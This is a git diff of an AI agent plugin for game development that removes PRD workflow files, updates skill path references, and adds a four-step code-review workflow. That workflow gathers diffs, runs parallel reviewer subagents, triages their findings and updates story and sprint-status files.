-
-## INITIALIZATION SEQUENCE
-
-### 1. Configuration Loading
-
-Load project config from `bmad/config.yaml`:
-
-- `project_name`, `planning_artifacts`, `user_name`
-- `communication_language`, `document_output_language`
-
-### 2. Mode Detection
-
-Check invocation for mode flags or keywords.
-
-### 3. Route to Workflow
-
-Based on mode, read and execute the appropriate entry step file:
-
-**Create:** `${CLAUDE_PLUGIN_ROOT}/skills/prd/steps-c/step-01-init.md`
-**Validate:** `${CLAUDE_PLUGIN_ROOT}/skills/prd/steps-v/step-v-01-discovery.md`
-**Edit:** `${CLAUDE_PLUGIN_ROOT}/skills/prd/steps-e/step-e-01-discovery.md`
-
----
-
-## OUTPUT
-
-**Create Mode Output:** `planning-artifacts/prd-{project_name}-{date}.md`
-**Validate Mode Output:** `planning-artifacts/prd-validation-report-{date}.md`
-**Edit Mode Output:** Updates the specified PRD file in-place
diff --git a/plugins/bmad/skills/create-prd/workflow-create-prd.md b/plugins/bmad/skills/create-prd/workflow-create-prd.md
deleted file mode 100644
index 96937c6..0000000
--- a/plugins/bmad/skills/create-prd/workflow-create-prd.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-name: create-prd
-description: '(Optional) Create a PRD for use with external tools like bmad-assist. Uses the GDD as a base if available, otherwise creates from scratch. Use when the user says "create a PRD" or "generate PRD from GDD"'
-main_config: '.claude/bmad.local.md'
-nextStep: './steps-c/step-01-init.md'
----
-
-# PRD Create Workflow
-
-**Goal:** Create comprehensive PRDs through structured workflow facilitation.
-
-**Your Role:** Product-focused PM facilitator collaborating with an expert peer.
-
-You will continue to operate with your given name, identity, and communication_style, merged with the details of this role description.
-
-## WORKFLOW ARCHITECTURE
-
-This uses **step-file architecture** for disciplined execution:
-
-### Core Principles
-
-- **Micro-file Design**: Each step is a self contained instruction file that is a part of an overall workflow that must be followed exactly
-- **Just-In-Time Loading**: Only the current step file is in memory - never load future step files until told to do so
-- **Sequential Enforcement**: Sequence within the step files must be completed in order, no skipping or optimization allowed
-- **State Tracking**: Document progress in output file frontmatter using `stepsCompleted` array when a workflow produces a document
-- **Append-Only Building**: Build documents by appending content as directed to the output file
-
-### Step Processing Rules
-
-1. **READ COMPLETELY**: Always read the entire step file before taking any action
-2. **FOLLOW SEQUENCE**: Execute all numbered sections in order, never deviate
-3. **WAIT FOR INPUT**: If a menu is presented, halt and wait for user selection
-4. **CHECK CONTINUATION**: If the step has a menu with Continue as an option, only proceed to next step when user selects 'C' (Continue)
-5. **SAVE STATE**: Update `stepsCompleted` in frontmatter before loading next step
-6. **LOAD NEXT**: When directed, read fully and follow the next step file
-
-### Critical Rules (NO EXCEPTIONS)
-
-- 🛑 **NEVER** load multiple step files simultaneously
-- 📖 **ALWAYS** read entire step file before execution
-- 🚫 **NEVER** skip steps or optimize the sequence
-- 💾 **ALWAYS** update frontmatter of output files when writing the final output for a specific step
-- 🎯 **ALWAYS** follow the exact instructions in the step file
-- ⏸️ **ALWAYS** halt at menus and wait for user input
-- 📋 **NEVER** create mental todo lists from future steps
-
-## INITIALIZATION SEQUENCE
-
-### 1. Configuration Loading
-
-Load and read full config from {main_config} and resolve:
-
-- `project_name`, `output_folder`, `planning_artifacts`, `user_name`
-- `communication_language`, `document_output_language`, `game_dev_experience`
-- `date` as system-generated current datetime
-
-✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the configured `{communication_language}`.
-
-### 2. Route to Create Workflow
-
-"**Create Mode: Creating a new PRD from scratch.**"
-
-Read fully and follow: `{nextStep}` (steps-c/step-01-init.md)
diff --git a/plugins/bmad/skills/create-prd/workflow-edit-prd.md b/plugins/bmad/skills/create-prd/workflow-edit-prd.md
deleted file mode 100644
index b34de5a..0000000
--- a/plugins/bmad/skills/create-prd/workflow-edit-prd.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-name: edit-prd
-description: 'Edit an existing PRD. Use when the user says "edit this PRD".'
-main_config: '.claude/bmad.local.md'
-editWorkflow: './steps-e/step-e-01-discovery.md'
----
-
-# PRD Edit Workflow
-
-**Goal:** Edit and improve existing PRDs through structured enhancement workflow.
-
-**Your Role:** PRD improvement specialist.
-
-You will continue to operate with your given name, identity, and communication_style, merged with the details of this role description.
-
-## WORKFLOW ARCHITECTURE
-
-This uses **step-file architecture** for disciplined execution:
-
-### Core Principles
-
-- **Micro-file Design**: Each step is a self contained instruction file that is a part of an overall workflow that must be followed exactly
-- **Just-In-Time Loading**: Only the current step file is in memory - never load future step files until told to do so
-- **Sequential Enforcement**: Sequence within the step files must be completed in order, no skipping or optimization allowed
-- **State Tracking**: Document progress in output file frontmatter using `stepsCompleted` array when a workflow produces a document
-- **Append-Only Building**: Build documents by appending content as directed to the output file
-
-### Step Processing Rules
-
-1. **READ COMPLETELY**: Always read the entire step file before taking any action
-2. **FOLLOW SEQUENCE**: Execute all numbered sections in order, never deviate
-3. **WAIT FOR INPUT**: If a menu is presented, halt and wait for user selection
-4. **CHECK CONTINUATION**: If the step has a menu with Continue as an option, only proceed to next step when user selects 'C' (Continue)
-5. **SAVE STATE**: Update `stepsCompleted` in frontmatter before loading next step
-6. **LOAD NEXT**: When directed, read fully and follow the next step file
-
-### Critical Rules (NO EXCEPTIONS)
-
-- 🛑 **NEVER** load multiple step files simultaneously
-- 📖 **ALWAYS** read entire step file before execution
-- 🚫 **NEVER** skip steps or optimize the sequence
-- 💾 **ALWAYS** update frontmatter of output files when writing the final output for a specific step
-- 🎯 **ALWAYS** follow the exact instructions in the step file
-- ⏸️ **ALWAYS** halt at menus and wait for user input
-- 📋 **NEVER** create mental todo lists from future steps
-
-## INITIALIZATION SEQUENCE
-
-### 1. Configuration Loading
-
-Load and read full config from {main_config} and resolve:
-
-- `project_name`, `output_folder`, `planning_artifacts`, `user_name`
-- `communication_language`, `document_output_language`, `game_dev_experience`
-- `date` as system-generated current datetime
-
-✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the configured `{communication_language}`.
-
-### 2. Route to Edit Workflow
-
-"**Edit Mode: Improving an existing PRD.**"
-
-Prompt for PRD path: "Which PRD would you like to edit? Please provide the path to the PRD.md file."
-
-Then read fully and follow: `{editWorkflow}` (steps-e/step-e-01-discovery.md)
diff --git a/plugins/bmad/skills/create-prd/workflow-validate-prd.md b/plugins/bmad/skills/create-prd/workflow-validate-prd.md
deleted file mode 100644
index 21254f2..0000000
--- a/plugins/bmad/skills/create-prd/workflow-validate-prd.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-name: validate-prd
-description: 'Validate a PRD against standards. Use when the user says "validate this PRD" or "run PRD validation"'
-main_config: '.claude/bmad.local.md'
-validateWorkflow: './steps-v/step-v-01-discovery.md'
----
-
-# PRD Validate Workflow
-
-**Goal:** Validate existing PRDs against BMAD standards through comprehensive review.
-
-**Your Role:** Validation Architect and Quality Assurance Specialist.
-
-You will continue to operate with your given name, identity, and communication_style, merged with the details of this role description.
-
-## WORKFLOW ARCHITECTURE
-
-This uses **step-file architecture** for disciplined execution:
-
-### Core Principles
-
-- **Micro-file Design**: Each step is a self contained instruction file that is a part of an overall workflow that must be followed exactly
-- **Just-In-Time Loading**: Only the current step file is in memory - never load future step files until told to do so
-- **Sequential Enforcement**: Sequence within the step files must be completed in order, no skipping or optimization allowed
-- **State Tracking**: Document progress in output file frontmatter using `stepsCompleted` array when a workflow produces a document
-- **Append-Only Building**: Build documents by appending content as directed to the output file
-
-### Step Processing Rules
-
-1. **READ COMPLETELY**: Always read the entire step file before taking any action
-2. **FOLLOW SEQUENCE**: Execute all numbered sections in order, never deviate
-3. **WAIT FOR INPUT**: If a menu is presented, halt and wait for user selection
-4. **CHECK CONTINUATION**: If the step has a menu with Continue as an option, only proceed to next step when user selects 'C' (Continue)
-5. **SAVE STATE**: Update `stepsCompleted` in frontmatter before loading next step
-6. **LOAD NEXT**: When directed, read fully and follow the next step file
-
-### Critical Rules (NO EXCEPTIONS)
-
-- 🛑 **NEVER** load multiple step files simultaneously
-- 📖 **ALWAYS** read entire step file before execution
-- 🚫 **NEVER** skip steps or optimize the sequence
-- 💾 **ALWAYS** update frontmatter of output files when writing the final output for a specific step
-- 🎯 **ALWAYS** follow the exact instructions in the step file
-- ⏸️ **ALWAYS** halt at menus and wait for user input
-- 📋 **NEVER** create mental todo lists from future steps
-
-## INITIALIZATION SEQUENCE
-
-### 1. Configuration Loading
-
-Load and read full config from {main_config} and resolve:
-
-- `project_name`, `output_folder`, `planning_artifacts`, `user_name`
-- `communication_language`, `document_output_language`, `game_dev_experience`
-- `date` as system-generated current datetime
-
-✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the configured `{communication_language}`.
-
-### 2. Route to Validate Workflow
-
-"**Validate Mode: Validating an existing PRD against BMAD standards.**"
-
-Then read fully and follow: `{validateWorkflow}` (steps-v/step-v-01-discovery.md)
diff --git a/plugins/bmad/skills/gds-brainstorm-game/SKILL.md b/plugins/bmad/skills/gds-brainstorm-game/SKILL.md
index c71d83e..fcc91b5 100644
--- a/plugins/bmad/skills/gds-brainstorm-game/SKILL.md
+++ b/plugins/bmad/skills/gds-brainstorm-game/SKILL.md
@@ -3,4 +3,4 @@ name: gds-brainstorm-game
 description: 'Facilitate game brainstorming sessions with game-specific techniques. Use when the user says "brainstorm game" or "game ideas"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-brainstorm-game/steps/step-01-init.md b/plugins/bmad/skills/gds-brainstorm-game/steps/step-01-init.md
index 106e3e0..c7856e9 100644
--- a/plugins/bmad/skills/gds-brainstorm-game/steps/step-01-init.md
+++ b/plugins/bmad/skills/gds-brainstorm-game/steps/step-01-init.md
@@ -3,7 +3,7 @@ name: 'step-01-init'
 description: 'Initialize the game brainstorming workflow and validate readiness'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-brainstorm-game'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01-init.md'
diff --git a/plugins/bmad/skills/gds-brainstorm-game/steps/step-02-context.md b/plugins/bmad/skills/gds-brainstorm-game/steps/step-02-context.md
index 65389ae..7b7c0dd 100644
--- a/plugins/bmad/skills/gds-brainstorm-game/steps/step-02-context.md
+++ b/plugins/bmad/skills/gds-brainstorm-game/steps/step-02-context.md
@@ -3,7 +3,7 @@ name: 'step-02-context'
 description: 'Load game-specific brainstorming context and techniques'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-brainstorm-game'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-02-context.md'
@@ -14,7 +14,7 @@ outputFile: '{output_folder}/brainstorming-session-{date}.md'
 # Context Files
 gameContext: '{workflow_path}/game-context.md'
 gameBrainMethods: '{workflow_path}/game-brain-methods.csv'
-coreBrainstorming: '{project-root}/_bmad/core/workflows/brainstorming/workflow.md'
+coreBrainstorming: 'skill:bmad-brainstorming'
 ---
 
 # Step 2: Load Context
diff --git a/plugins/bmad/skills/gds-brainstorm-game/steps/step-03-ideation.md b/plugins/bmad/skills/gds-brainstorm-game/steps/step-03-ideation.md
index 11e0268..5d2db27 100644
--- a/plugins/bmad/skills/gds-brainstorm-game/steps/step-03-ideation.md
+++ b/plugins/bmad/skills/gds-brainstorm-game/steps/step-03-ideation.md
@@ -3,7 +3,7 @@ name: 'step-03-ideation'
 description: 'Execute the brainstorming session with game-specific techniques'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-brainstorm-game'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-03-ideation.md'
@@ -12,11 +12,11 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/brainstorming-session-{date}.md'
 
 # Core Brainstorming Reference
-coreBrainstorming: '{project-root}/_bmad/core/workflows/brainstorming/workflow.md'
+coreBrainstorming: 'skill:bmad-brainstorming'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 3: Ideation Session
diff --git a/plugins/bmad/skills/gds-brainstorm-game/steps/step-04-complete.md b/plugins/bmad/skills/gds-brainstorm-game/steps/step-04-complete.md
index 7076ad9..88e7491 100644
--- a/plugins/bmad/skills/gds-brainstorm-game/steps/step-04-complete.md
+++ b/plugins/bmad/skills/gds-brainstorm-game/steps/step-04-complete.md
@@ -3,7 +3,7 @@ name: 'step-04-complete'
 description: 'Complete the brainstorming session with summary and next steps'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-brainstorm-game'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-04-complete.md'
@@ -11,8 +11,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/brainstorming-session-{date}.md'
 
 # Handoff References
-gameBriefWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-game-brief/SKILL.md'
-gddWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-create-gdd/SKILL.md'
+gameBriefWorkflow: 'skill:gds-create-game-brief'
+gddWorkflow: 'skill:gds-create-gdd'
 ---
 
 # Step 4: Complete Session
diff --git a/plugins/bmad/skills/gds-check-implementation-readiness/SKILL.md b/plugins/bmad/skills/gds-check-implementation-readiness/SKILL.md
index dcd6514..6c6b97f 100644
--- a/plugins/bmad/skills/gds-check-implementation-readiness/SKILL.md
+++ b/plugins/bmad/skills/gds-check-implementation-readiness/SKILL.md
@@ -3,4 +3,4 @@ name: gds-check-implementation-readiness
 description: 'Verify GDD, UX, Architecture, and Epics alignment before production. Use when the user says "check readiness" or "implementation readiness"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-code-review/SKILL.md b/plugins/bmad/skills/gds-code-review/SKILL.md
index 2f85c0c..dce3fd5 100644
--- a/plugins/bmad/skills/gds-code-review/SKILL.md
+++ b/plugins/bmad/skills/gds-code-review/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: gds-code-review
-description: 'Perform thorough code review to find bugs and quality issues. Use when the user says "review this code" or "do a code review"'
+description: 'Review code changes adversarially using parallel review layers (Blind Hunter, Edge Case Hunter, Acceptance Auditor) with structured triage into actionable categories. Use when the user says "run code review" or "review this code"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-code-review/steps/step-01-gather-context.md b/plugins/bmad/skills/gds-code-review/steps/step-01-gather-context.md
new file mode 100644
index 0000000..8294a8c
--- /dev/null
+++ b/plugins/bmad/skills/gds-code-review/steps/step-01-gather-context.md
@@ -0,0 +1,85 @@
+---
+diff_output: '' # set at runtime
+spec_file: '' # set at runtime (path or empty)
+review_mode: '' # set at runtime: "full" or "no-spec"
+story_key: '' # set at runtime when discovered from sprint status
+---
+
+# Step 1: Gather Context
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`, tailored to `{game_dev_experience}`
+- The prompt that triggered this workflow IS the intent — not a hint.
+- Do not modify any files. This step is read-only.
+
+## INSTRUCTIONS
+
+1. **Find the review target.** The conversation context before this skill was triggered IS your starting point — not a blank slate. Check in this order — stop as soon as the review target is identified:
+
+   **Tier 1 — Explicit argument.**
+   Did the user pass a PR, commit SHA, branch, spec file, or diff source this message?
+   - PR reference → resolve to branch/commit via `gh pr view`. If resolution fails, ask for a SHA or branch.
+   - Commit or branch → use directly.
+   - Spec file → set `{spec_file}` to the provided path. Check its frontmatter for `baseline_commit`. If found, use as diff baseline. If not found, continue the cascade (a spec alone does not identify a diff source).
+   - Also scan the argument for diff-mode keywords that narrow the scope:
+     - "staged" / "staged changes" → Staged changes only
+     - "uncommitted" / "working tree" / "all changes" → Uncommitted changes (staged + unstaged)
+     - "branch diff" / "vs main" / "against main" / "compared to <branch>" → Branch diff (extract base branch if mentioned)
+     - "commit range" / "last N commits" / "<from-sha>..<to-sha>" → Specific commit range
+     - "this diff" / "provided diff" / "paste" → User-provided diff (do not match bare "diff" — it appears in other modes)
+   - When multiple keywords match, prefer the most specific (e.g., "branch diff" over bare "diff").
+
+   **Tier 2 — Recent conversation.**
+   Do the last few messages reveal what the user wants to be reviewed? Look for spec paths, commit refs, branches, PRs, or descriptions of a change. Apply the same diff-mode keyword scan and routing as Tier 1.
+
+   **Tier 3 — Sprint tracking.**
+   Look for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for stories with status `review`:
+   - **Exactly one `review` story:** Set `{story_key}` to the story's key (e.g., `1-2-user-auth`). Suggest it: "I found story <story-id> in `review` status. Would you like to review its changes? [Y] Yes / [N] No, let me choose". If confirmed, use the story context to determine the diff source (branch name derived from story slug, or uncommitted changes). If declined, clear `{story_key}` and fall through.
+   - **Multiple `review` stories:** Present them as numbered options alongside a manual choice option. Wait for user selection. If a story is selected, set `{story_key}` and use its context to determine the diff source. If manual choice is selected, clear `{story_key}` and fall through.
+   - **None:** Fall through.
+
+   **Tier 4 — Current git state.**
+   If version control is unavailable, skip to Tier 5. Otherwise, check the current branch and HEAD. If the branch is not `main` (or the default branch), confirm: "I see HEAD is `<short-sha>` on `<branch>` — do you want to review this branch's changes?" If confirmed, treat as a branch diff against `main`. If declined, fall through.
+
+   **Tier 5 — Ask.**
+   Fall through to instruction 2.
+
+   Never ask extra questions beyond what the cascade prescribes. If a tier above already identified the target, skip the remaining tiers and proceed to instruction 3 (construct diff).
+
+2. HALT. Ask the user: **What do you want to review?** Present these options:
+   - **Uncommitted changes** (staged + unstaged)
+   - **Staged changes only**
+   - **Branch diff** vs a base branch (ask which base branch)
+   - **Specific commit range** (ask for the range)
+   - **Provided diff or file list** (user pastes or provides a path)
+
+3. Construct `{diff_output}` from the chosen source.
+   - For **staged changes only**: run `git diff --cached`.
+   - For **uncommitted changes** (staged + unstaged): run `git diff HEAD`.
+   - For **branch diff**: verify the base branch exists before running `git diff`. If it does not exist, HALT and ask the user for a valid branch.
+   - For **commit range**: verify the range resolves. If it does not, HALT and ask the user for a valid range.
+   - For **provided diff**: validate the content is non-empty and parseable as a unified diff. If it is not parseable, HALT and ask the user to provide a valid diff.
+   - For **file list**: validate each path exists in the working tree. Construct `{diff_output}` by running `git diff HEAD -- <path1> <path2> ...`. If any paths are untracked (new files not yet staged), use `git diff --no-index /dev/null <path>` to include them. If the diff is empty (files have no uncommitted changes and are not untracked), ask the user whether to review the full file contents or to specify a different baseline.
+   - After constructing `{diff_output}`, verify it is non-empty regardless of source type. If empty, HALT and tell the user there is nothing to review.
+
+4. **Set the spec context.**
+   - If `{spec_file}` is already set (from Tier 1 or Tier 2): verify the file exists and is readable, then set `{review_mode}` = `"full"`.
+   - Otherwise, ask the user: **Is there a spec or story file that provides context for these changes?**
+     - If yes: set `{spec_file}` to the path provided, verify the file exists and is readable, then set `{review_mode}` = `"full"`.
+     - If no: set `{review_mode}` = `"no-spec"`.
+
+5. If `{review_mode}` = `"full"` and the file at `{spec_file}` has a `context` field in its frontmatter listing additional docs, load each referenced document. Warn the user about any docs that cannot be found.
+
+6. Sanity check: if `{diff_output}` exceeds approximately 3000 lines, warn the user and offer to chunk the review by file group.
+   - If the user opts to chunk: agree on the first group, narrow `{diff_output}` accordingly, and list the remaining groups for the user to note for follow-up runs.
+   - If the user declines: proceed as-is with the full diff.
+
+### CHECKPOINT
+
+Present a summary before proceeding: diff stats (files changed, lines added/removed), `{review_mode}`, and loaded spec/context docs (if any). HALT and wait for user confirmation to proceed.
+
+
+## NEXT
+
+Read fully and follow `./step-02-review.md`
diff --git a/plugins/bmad/skills/gds-code-review/steps/step-02-review.md b/plugins/bmad/skills/gds-code-review/steps/step-02-review.md
new file mode 100644
index 0000000..11b9039
--- /dev/null
+++ b/plugins/bmad/skills/gds-code-review/steps/step-02-review.md
@@ -0,0 +1,35 @@
+---
+failed_layers: '' # set at runtime: comma-separated list of layers that failed or returned empty
+---
+
+# Step 2: Review
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`, tailored to `{game_dev_experience}`
+- The Blind Hunter subagent receives NO project context — diff only.
+- The Edge Case Hunter subagent receives diff and project read access.
+- The Acceptance Auditor subagent receives diff, spec, and context docs.
+- All review subagents must run at the same model capability as the current session.
+
+## INSTRUCTIONS
+
+1. If `{review_mode}` = `"no-spec"`, note to the user: "Acceptance Auditor skipped — no spec file provided."
+
+2. Launch parallel subagents without conversation context. If subagents are not available, generate prompt files in `{implementation_artifacts}` — one per reviewer role below — and HALT. Ask the user to run each in a separate session (ideally a different LLM) and paste back the findings. When findings are pasted, resume from this point and proceed to step 3.
+
+   - **Blind Hunter** — receives `{diff_output}` only. No spec, no context docs, no project access. Invoke via the `bmad-review-adversarial-general` skill.
+
+   - **Edge Case Hunter** — receives `{diff_output}` and read access to the project. Invoke via the `bmad-review-edge-case-hunter` skill.
+
+   - **Acceptance Auditor** (only if `{review_mode}` = `"full"`) — receives `{diff_output}`, the content of the file at `{spec_file}`, and any loaded context docs. Its prompt:
+     > You are an Acceptance Auditor. Review this diff against the spec and context docs. Check for: violations of acceptance criteria, deviations from spec intent, missing implementation of specified behavior, contradictions between spec constraints and actual code. Output findings as a Markdown list. Each finding: one-line title, which AC/constraint it violates, and evidence from the diff.
+
+3. **Subagent failure handling**: If any subagent fails, times out, or returns empty results, append the layer name to `{failed_layers}` (comma-separated) and proceed with findings from the remaining layers.
+
+4. Collect all findings from the completed layers.
+
+
+## NEXT
+
+Read fully and follow `./step-03-triage.md`
diff --git a/plugins/bmad/skills/gds-code-review/steps/step-03-triage.md b/plugins/bmad/skills/gds-code-review/steps/step-03-triage.md
new file mode 100644
index 0000000..54765a3
--- /dev/null
+++ b/plugins/bmad/skills/gds-code-review/steps/step-03-triage.md
@@ -0,0 +1,49 @@
+---
+---
+
+# Step 3: Triage
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`, tailored to `{game_dev_experience}`
+- Be precise. When uncertain between categories, prefer the more conservative classification.
+
+## INSTRUCTIONS
+
+1. **Normalize** findings into a common format. Expected input formats:
+   - Adversarial (Blind Hunter): markdown list of descriptions
+   - Edge Case Hunter: JSON array with `location`, `trigger_condition`, `guard_snippet`, `potential_consequence` fields
+   - Acceptance Auditor: markdown list with title, AC/constraint reference, and evidence
+
+   If a layer's output does not match its expected format, attempt best-effort parsing. Note any parsing issues for the user.
+
+   Convert all to a unified list where each finding has:
+   - `id` -- sequential integer
+   - `source` -- `blind`, `edge`, `auditor`, or merged sources (e.g., `blind+edge`)
+   - `title` -- one-line summary
+   - `detail` -- full description
+   - `location` -- file and line reference (if available)
+
+2. **Deduplicate.** If two or more findings describe the same issue, merge them into one:
+   - Use the most specific finding as the base (prefer edge-case JSON with location over adversarial prose).
+   - Append any unique detail, reasoning, or location references from the other finding(s) into the surviving `detail` field.
+   - Set `source` to the merged sources (e.g., `blind+edge`).
+
+3. **Classify** each finding into exactly one bucket:
+   - **decision_needed** -- There is an ambiguous choice that requires human input. The code cannot be correctly patched without knowing the user's intent. Only possible if `{review_mode}` = `"full"`.
+   - **patch** -- Code issue that is fixable without human input. The correct fix is unambiguous.
+   - **defer** -- Pre-existing issue not caused by the current change. Real but not actionable now.
+   - **dismiss** -- Noise, false positive, or handled elsewhere.
+
+   If `{review_mode}` = `"no-spec"` and a finding would otherwise be `decision_needed`, reclassify it as `patch` (if the fix is unambiguous) or `defer` (if not).
+
+4. **Drop** all `dismiss` findings. Record the dismiss count for the summary.
+
+5. If `{failed_layers}` is non-empty, report which layers failed before announcing results. If zero findings remain after dropping dismissed AND `{failed_layers}` is non-empty, warn the user that the review may be incomplete rather than announcing a clean review.
+
+6. If zero findings remain after triage (all rejected or none raised): state "✅ Clean review — all layers passed." (Step 3 already warned if any review layers failed via `{failed_layers}`.)
+
+
+## NEXT
+
+Read fully and follow `./step-04-present.md`
diff --git a/plugins/bmad/skills/gds-code-review/steps/step-04-present.md b/plugins/bmad/skills/gds-code-review/steps/step-04-present.md
new file mode 100644
index 0000000..90a6c42
--- /dev/null
+++ b/plugins/bmad/skills/gds-code-review/steps/step-04-present.md
@@ -0,0 +1,126 @@
+---
+deferred_work_file: '{implementation_artifacts}/deferred-work.md'
+---
+
+# Step 4: Present and Act
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`, tailored to `{game_dev_experience}`
+- When `{spec_file}` is set, always write findings to the story file before offering action choices.
+- `decision_needed` findings must be resolved before handling `patch` findings.
+
+## INSTRUCTIONS
+
+### 1. Clean review shortcut
+
+If zero findings remain after triage (all dismissed or none raised): state that and proceed to section 6 (Sprint Status Update).
+
+### 2. Write findings to the story file
+
+If `{spec_file}` exists and contains a Tasks/Subtasks section, append a `### Review Findings` subsection. Write all findings in this order:
+
+1. **`decision_needed`** findings (unchecked):
+   `- [ ] [Review][Decision] <Title> — <Detail>`
+
+2. **`patch`** findings (unchecked):
+   `- [ ] [Review][Patch] <Title> [<file>:<line>]`
+
+3. **`defer`** findings (checked off, marked deferred):
+   `- [x] [Review][Defer] <Title> [<file>:<line>] — deferred, pre-existing`
+
+Also append each `defer` finding to `{deferred_work_file}` under a heading `## Deferred from: code review ({date})`. If `{spec_file}` is set, include its basename in the heading (e.g., `code review of story-3.3 (2026-03-18)`). One bullet per finding with description.
+
+### 3. Present summary
+
+Announce what was written:
+
+> **Code review complete.** <D> `decision_needed`, <P> `patch`, <W> `defer`, <R> dismissed as noise.
+
+If `{spec_file}` is set, add: `Findings written to the review findings section in {spec_file}.`
+Otherwise add: `Findings are listed above. No story file was provided, so nothing was persisted.`
+
+### 4. Resolve decision_needed findings
+
+If `decision_needed` findings exist, present each one with its detail and the options available. The user must decide — the correct fix is ambiguous without their input. Walk through each finding (or batch related ones) and get the user's call. Once resolved, each becomes a `patch`, `defer`, or is dismissed.
+
+If the user chooses to defer, ask: Quick one-line reason for deferring this item? (helps future reviews): — then append that reason to both the story file bullet and the `{deferred_work_file}` entry.
+
+**HALT** — I am waiting for your numbered choice. Reply with only the number. Do not proceed until you select an option.
+
+### 5. Handle `patch` findings
+
+If `patch` findings exist (including any resolved from step 4), HALT. Ask the user:
+
+If `{spec_file}` is set, present all three options:
+
+> **How would you like to handle the `<P>` `patch` findings?**
+> 1. **Apply every patch** — fix all of them now, no per-finding confirmation. Defer and decision_needed items are not touched.
+> 2. **Leave as action items** — they are already in the story file
+> 3. **Walk through each patch** — show details for each before deciding
+
+If `{spec_file}` is **not** set, present only options 1 and 2 (omit "Leave as action items" — findings were not written to a file):
+
+> **How would you like to handle the `<P>` `patch` findings?**
+> 1. **Apply every patch** — fix all of them now, no per-finding confirmation. Defer and decision_needed items are not touched.
+> 2. **Walk through each patch** — show details for each before deciding
+
+**HALT** — I am waiting for your numbered choice. Reply with only the number. Do not proceed until you select an option.
+
+- **Apply every patch**: Apply every patch finding without per-finding confirmation. Do not modify defer or decision_needed items. After all patches are applied, present a summary of changes made. If `{spec_file}` is set, check off the patch items in the story file (leave defer items as-is).
+- **Leave as action items** (only when `{spec_file}` is set): Done — findings are already written to the story.
+- **Walk through each patch**: Present each finding with full detail, diff context, and suggested fix. After walkthrough, re-offer the applicable options above.
+
+  **HALT** — I am waiting for your numbered choice. Do not proceed until you select an option.
+
+**✅ Code review actions complete**
+
+- decision_needed resolved: <D>
+- Patches handled: <P>
+- Deferred: <W>
+- Dismissed: <R>
+
+### 6. Update story status and sync sprint tracking
+
+Skip this section if `{spec_file}` is not set.
+
+#### Determine new status based on review outcome
+
+- If all `decision_needed` and `patch` findings were resolved (fixed or dismissed) AND no unresolved HIGH/MEDIUM issues remain: set `{new_status}` = `done`. Update the story file Status section to `done`.
+- If `patch` findings were left as action items, or unresolved issues remain: set `{new_status}` = `in-progress`. Update the story file Status section to `in-progress`.
+
+Save the story file.
+
+#### Sync sprint-status.yaml
+
+If `{story_key}` is not set, skip this subsection and note that sprint status was not synced because no story key was available.
+
+If `{sprint_status}` file exists:
+
+1. Load the FULL `{sprint_status}` file.
+2. Find the `development_status` entry matching `{story_key}`.
+3. If found: update `development_status[{story_key}]` to `{new_status}`. Update `last_updated` to current date. Save the file, preserving ALL comments and structure including STATUS DEFINITIONS.
+4. If `{story_key}` not found in sprint status: warn the user that the story file was updated but sprint-status sync failed.
+
+If `{sprint_status}` file does not exist, note that story status was updated in the story file only.
+
+#### Completion summary
+
+> **Review Complete!**
+>
+> **Story Status:** `{new_status}`
+> **Issues Fixed:** <fixed_count>
+> **Action Items Created:** <action_count>
+> **Deferred:** <W>
+> **Dismissed:** <R>
+
+### 7. Next steps
+
+Present the user with follow-up options:
+
+> **What would you like to do next?**
+> 1. **Start the next story** — run `dev-story` to pick up the next `ready-for-dev` story
+> 2. **Re-run code review** — address findings and review again
+> 3. **Done** — end the workflow
+
+**HALT** — I am waiting for your choice. Do not proceed until the user selects an option.
diff --git a/plugins/bmad/skills/gds-correct-course/SKILL.md b/plugins/bmad/skills/gds-correct-course/SKILL.md
index 119d1e5..641092c 100644
--- a/plugins/bmad/skills/gds-correct-course/SKILL.md
+++ b/plugins/bmad/skills/gds-correct-course/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: gds-correct-course
-description: 'Manage significant changes when sprint implementation is off track. Use when the user says "correct course" or "we need a course correction"'
